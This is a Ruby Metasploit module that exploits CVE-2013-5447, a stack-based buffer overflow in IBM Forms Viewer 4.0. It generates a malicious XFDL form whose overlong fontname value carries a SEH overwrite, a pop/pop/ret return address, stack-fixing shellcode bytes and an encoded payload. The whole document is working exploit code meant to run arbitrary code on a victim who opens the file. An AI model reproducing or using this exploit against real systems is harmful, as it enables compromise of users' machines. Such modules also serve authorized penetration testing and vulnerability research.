IBM Forms Viewer Unicode Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include REXML  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM Forms Viewer Unicode Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability  
is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed  
XFDL files, with a long fontname value. This module has been tested successfully on IBM  
Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-5447' ],  
[ 'OSVDB', '100732' ],  
[ 'ZDI', '13-274' ],  
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ],  
],  
'Payload' =>  
{  
'Space' => 3000,  
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ECX',  
'BufferOffset' => 10  
},  
'BadChars' => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"),  
'DisableNops' => true,  
# Fix the stack before the payload is executed, so we avoid  
# windows exceptions due to alignment  
'Prepend' =>  
"\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]  
"\x83\xC0\x08" + # add eax, byte 8  
"\x8b\x20" + # mov esp, [eax]  
"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1',  
# masqform.exe 8.0.0.266  
{  
'Ret' => 0x4c30, # p/p/r unicode from masqform.exe  
'Nop' => 0x47, # 004700 => add [edi+0x0],al  
'Offset' => 62  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 05 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xfdl']),  
], self.class)  
end  
  
def generate_xfdl  
xml = Document.new  
  
# XFDL  
xfdl = xml.add_element("XFDL", {  
'xmlns:custom' => "http://www.ibm.com/xmlns/prod/XFDL/Custom",  
'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6",  
'xmlns:ev' => "http://www.w3.org/2001/xml-events",  
'xmlns:xfdl' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",  
'xmlns:xforms' => "http://www.w3.org/2002/xforms",  
'xmlns' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",  
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",  
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance"  
})  
  
# XFDL => globalpage  
xdfl_global_page = xfdl.add_element("globalpage", {  
"sid" => "global"  
})  
global = xdfl_global_page.add_element("global", {  
"sid" => "global"  
})  
designer_date = global.add_element("designer:date")  
designer_date.text = "20060615"  
form_id = global.add_element("formid")  
form_id.add_element("title")  
serial_number = form_id.add_element("serialnumber")  
serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000"  
version_form = form_id.add_element("version")  
version_form.text = "1"  
  
# XFDL => page  
page = xfdl.add_element("page", {  
"sid" => "PAGE1"  
})  
  
# XFDL => page => global  
page_global = page.add_element("global", {  
"sid" => "global"  
})  
label_page = page_global.add_element("label")  
label_page.text = "PAGE1"  
  
# XFDL => page => label  
label = page.add_element("label", {  
"sid" => "title"  
})  
item_location = label.add_element("itemlocation")  
x = item_location.add_element("x")  
x.text = "20"  
y = item_location.add_element("y")  
y.text = "0"  
value = label.add_element("value", {  
"compute" => "global.global.custom:formTitle"  
})  
value.text = rand_text_alpha(10)  
font_info = label.add_element("fontinfo")  
font_name = font_info.add_element("fontname")  
font_name.text = "MSF_REPLACE"  
xml.to_s  
end  
  
  
def exploit  
sploit = rand_text_alpha(target['Offset'])  
sploit << "\x61\x62" # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)  
sploit << [target.ret].pack("v") # seh # ppr  
sploit << [target['Nop']].pack("C")  
sploit << payload.encoded  
sploit << rand_text_alpha(4096) # make it crash  
  
xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(xfdl)  
end  
  
end  
`